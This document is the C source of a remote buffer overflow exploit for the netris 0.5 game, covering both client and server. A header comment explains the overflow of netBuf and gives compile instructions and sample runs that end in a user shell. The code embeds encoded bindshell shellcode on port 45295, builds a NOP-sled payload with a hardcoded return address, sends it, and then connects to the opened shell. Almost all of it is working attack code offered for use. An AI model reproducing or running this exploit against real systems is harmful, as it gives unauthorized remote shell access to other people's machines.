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- /*[ netris[v0.5]: client/server remote buffer overflow exploit. ]*
- * *
- * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
- * *
- * netris homepage/URL: *
- * http://www.netris.org *
- * ftp://ftp.netris.org (v0.52 fixes this bug) *
- * *
- * compile: *
- * cc xnetris.c -o xnetris *
- * *
- * this exploits the netris buffer overflow found roughly a year *
- * ago(http://www.securityfocus.com/bid/5680), and recently *
- * brought up again, in client-side form. (same code) *
- * *
- * when the MyEventType() function is done, the contents of the *
- * buffer can continue on past netBuf[64], into other data *
- * segments. however, the segment right after *
- * netBuf[64](netBufSize[4]) will be changed to 0x00000000, *
- * after the overflow has taken place. so, instead of using 64 *
- * byte shellcode, we will skip the first 68 bytes(filler). *
- * this will look like so: *
- * *
- * memory: [netBuf(64)][netBufSize(4)]...[other data segments] *
- * exploit: [68 filler bytes][nops][shellcode][return address] *
- * *
- * since the same inet code is used both for the server, and *
- * the client; i made this exploit to do both, with no memory *
- * changes. *
- * *
- * when this exploits successfully, netris will display "Network *
- * negotiation failed", and idle until netris is closed(running *
- * bindshell). (for both client, and server exploitation) *
- * *
- * examples(client/server): *
- * # ./xnetris -b *
- * [*] netris[v0.5-]: client/server remote buffer overflow exp$ *
- * [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
- * *
- * [*] awaiting connection from: *:9284. *
- * [*] netris server connection established. *
- * [*] netris server connection closed. *
- * [*] checking to see if the exploit was successful. *
- * [*] attempting to connect: 127.0.0.1:45295. *
- * [*] successfully connected: 127.0.0.1:45295. *
- * *
- * Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 E$ *
- * uid=500(v9) gid=500(v9) groups=500(v9) *
- * *
- * # ./xnetris localhost *
- * [*] netris[v0.5-]: client/server remote buffer overflow exp$ *
- * [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
- * *
- * [*] attempting to connect: localhost:9284. *
- * [*] successfully connected: localhost:9284. *
- * [*] checking to see if the exploit was successful. *
- * [*] attempting to connect: localhost:45295. *
- * [*] successfully connected: localhost:45295. *
- * *
- * Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 E$ *
- * uid=500(v9) gid=500(v9) groups=500(v9) *
- * *
- * (tested on redhat/7.1, and gentoo/r5; netris-0.5 source. *
- * should work out of the box on linux/x86(+-2048 nop room). if *
- * not, check the RETADDR define comment) *
- *****************************************************************/
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <strings.h>
- #include <signal.h>
- #include <unistd.h>
- #include <netdb.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #define BUFSIZE 12800 /* filler+nop+shellcode+return addr buffer size. */
- #define RETADDR (0x08051e20+68+2048) /* objdump -x netris | grep netBuf */
- #define DFLPORT 9284 /* default netris port. */
- #define TIMEOUT 10 /* connection timeout. (generic as always) */
- static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
- "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49\x41\x49\x75"
- "\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0\x06\x9e\x26\x86\xdb\x26"
- "\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95"
- "\x06\xb0\x25\x25\x25\x3b\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28"
- "\x88\xd7\x27\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
- "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b\xa2\x55\x5e"
- "\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85\x05\xa2\x55\x06\x95\x06"
- "\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0"
- "\x85\xd7\xa2\x55\x0e\x98\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95"
- "\x06\x9e\x5e\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
- "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37\x3e\x43\x5e"
- "\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2\x55\x06\x95\x15\xa2\x55"
- "\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0\x6e";
- char *getcode(void);
- char *netris_bind(unsigned short);
- unsigned short netris_connect(char *,unsigned short);
- void getshell(char *,unsigned short);
- void printe(char *,short);
- void sig_alarm(){printe("alarm/timeout hit.",1);}
- int main(int argc,char **argv){
- unsigned short isbind=0,nport=DFLPORT; /* default. */
- char *hostptr;
- printf("[*] netris[v0.5-]: client/server remote buffer overflow ex"
- "ploit.\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n\n");
- if(argc<2){
- printf("[!] syntax: %s <host|-b> [port]\n",argv[0]);
- exit(1);
- }
- if(!strcmp(argv[1],"-b"))
- isbind=1;
- if(argc>2)
- nport=atoi(argv[2]);
- if(isbind)
- hostptr=netris_bind(nport);
- else
- netris_connect((hostptr=argv[1]),nport);
- sleep(1);
- getshell(hostptr,45295); /* defined in shellcode. */
- exit(0);
- }
- char *getcode(void){
- unsigned int i=0;
- char *buf;
- if(!(buf=(char *)malloc(BUFSIZE+1)))
- printe("getcode(): allocating memory failed.",1);
- /* fill the buffer with the return address. */
- for(i=0;i<BUFSIZE;i+=4){*(long *)&buf[i]=RETADDR;}
- /* netBuf[64] + 4 = netBufSize = 0x00000000. */
- memset(buf,0x78,68); /* netBuf+netBufSize filler. */
- memset(buf+68,0x90,4096); /* 4096 nops/guesses. */
- memcpy(buf+68+4096,x86_exec,strlen(x86_exec));
- return(buf);
- }
- char *netris_bind(unsigned short port){
- int ssock=0,sock=0,so=1;
- unsigned int salen=0;
- struct sockaddr_in ssa,sa;
- ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
- #ifdef SO_REUSEPORT
- setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
- #endif
- ssa.sin_family=AF_INET;
- ssa.sin_port=htons(port);
- ssa.sin_addr.s_addr=INADDR_ANY;
- printf("[*] awaiting connection from: *:%d.\n",port);
- if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
- printe("could not bind socket.",1);
- listen(ssock,1);
- bzero((char*)&sa,sizeof(struct sockaddr_in));
- salen=sizeof(sa);
- sock=accept(ssock,(struct sockaddr *)&sa,&salen);
- close(ssock);
- printf("[*] netris server connection established.\n");
- write(sock,getcode(),BUFSIZE);
- sleep(1);
- close(sock);
- printf("[*] netris server connection closed.\n");
- return(inet_ntoa(sa.sin_addr));
- }
- unsigned short netris_connect(char *hostname,
- unsigned short port){
- int sock;
- struct hostent *t;
- struct sockaddr_in s;
- sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- s.sin_family=AF_INET;
- s.sin_port=htons(port);
- printf("[*] attempting to connect: %s:%d.\n",hostname,port);
- if((s.sin_addr.s_addr=inet_addr(hostname))){
- if(!(t=gethostbyname(hostname)))
- printe("couldn't resolve hostname.",1);
- memcpy((char*)&s.sin_addr,(char*)t->h_addr,
- sizeof(s.sin_addr));
- }
- signal(SIGALRM,sig_alarm);
- alarm(TIMEOUT);
- if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
- printe("netris connection failed.",1);
- alarm(0);
- printf("[*] successfully connected: %s:%d.\n",hostname,port);
- write(sock,getcode(),BUFSIZE);
- sleep(1);
- close(sock);
- return(0);
- }
- void getshell(char *hostname,unsigned short port){
- int sock,r;
- fd_set fds;
- char buf[4096+1];
- struct hostent *he;
- struct sockaddr_in sa;
- printf("[*] checking to see if the exploit was successful.\n");
- if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
- printe("getshell(): socket() failed.",1);
- sa.sin_family=AF_INET;
- if((sa.sin_addr.s_addr=inet_addr(hostname))){
- if(!(he=gethostbyname(hostname)))
- printe("getshell(): couldn't resolve.",1);
- memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
- sizeof(sa.sin_addr));
- }
- sa.sin_port=htons(port);
- signal(SIGALRM,sig_alarm);
- alarm(TIMEOUT);
- printf("[*] attempting to connect: %s:%d.\n",hostname,port);
- if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
- printf("[!] connection failed: %s:%d.\n",hostname,port);
- return;
- }
- alarm(0);
- printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
- signal(SIGINT,SIG_IGN);
- write(sock,"uname -a;id\n",13);
- while(1){
- FD_ZERO(&fds);
- FD_SET(0,&fds);
- FD_SET(sock,&fds);
- if(select(sock+1,&fds,0,0,0)<1)
- printe("getshell(): select() failed.",1);
- if(FD_ISSET(0,&fds)){
- if((r=read(0,buf,4096))<1)
- printe("getshell(): read() failed.",1);
- if(write(sock,buf,r)!=r)
- printe("getshell(): write() failed.",1);
- }
- if(FD_ISSET(sock,&fds)){
- if((r=read(sock,buf,4096))<1)
- exit(0);
- write(1,buf,r);
- }
- }
- close(sock);
- return;
- }
- void printe(char *err,short e){
- printf("[!] %s\n",err);
- if(e)
- exit(1);
- return;
- }
-
-